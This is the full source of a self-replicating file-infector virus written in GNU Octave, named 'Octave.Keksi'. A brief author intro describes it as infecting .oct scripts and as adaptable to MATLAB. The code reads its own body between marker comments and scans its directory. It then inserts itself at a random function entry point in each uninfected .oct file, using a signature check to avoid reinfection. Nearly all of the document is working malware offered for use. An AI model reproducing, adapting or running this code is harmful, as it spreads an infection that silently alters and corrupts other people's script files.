Welcome to Octave.Keksi ! A GNU octave virus for windows.. Octave is very similar to MATLAB and can be modified so that both MATLAB and Octave can interpret the code and thus making a cross infector plus both are crossplatform. This was written on windows, I don't have MATLAB so I can only say this works on windows in octave infecting .oct files in the current directory using the EPO method. Octave's file ext is actually .m (as matlab is also) kinda annoying so I chose .oct as my file extention for octave scripts. You can change this, if you like. Author: Genetix Language: GNU Octave Name: Octave.Keksi I think keksi means cookie? Whatever lol %%start%% %%Genetix%% count = 0; strt = 0; try %%a nice trick to get the full path and filename%% trick = make_error(); catch vscr = lasterror().stack.file; end_try_catch IORead = fopen(vscr,'r'); while ~feof(IORead), line = fgetl(IORead); if (findstr(line, strcat("%%","start","%%"),0)), strt=1; end; if (strt == 1), count += 1; c{count} = line; end; if (findstr(line, strcat("%%","stop","%%"),0)), strt=0; end; end; fclose(IORead) line = ""; %%No other way to get the scripts directory..?%% vp = strcat("\\", program_name()); vpath = strrep(vscr,vp,""); dirInfo = dir(vpath); dirIndex = [dirInfo.isdir]; fileList = {dirInfo(~dirIndex).name}'; for i = 1:length(fileList) host = strcat(vpath, "\\", fileList{i}); if (findstr(host, ".oct")), entryIndex = {}; newCode = {}; hsrc = {}; present = 0; entryCount = 0; aIndex = 0; line = ""; count = 0; n=0; IORead = fopen(host,'r'); while ~feof(IORead), count+=1; line = fgetl(IORead); if (findstr(line, "%%Genetix%%")), present = 1; end if (findstr(line, "function ")), aIndex += 1; entryIndex{aIndex} = count; end hsrc{count} = line; end entryCount = length(entryIndex); rnd = randi (entryCount, 1, 1) entrypoint = entryIndex{rnd}; count = 0 for o = 1:length(hsrc) count+=1; newCode{count} = hsrc{o}; if(count == entrypoint), for k = 1:length(c) count+=1 newCode{count} = c{k}; end end endfor fclose(IORead) if (present == 0), IOWrite = fopen(host,'w'); for m=1:length(newCode) fprintf(IOWrite, "%s\r\n", newCode{m}); endfor fclose(IOWrite) end end endfor %%stop%%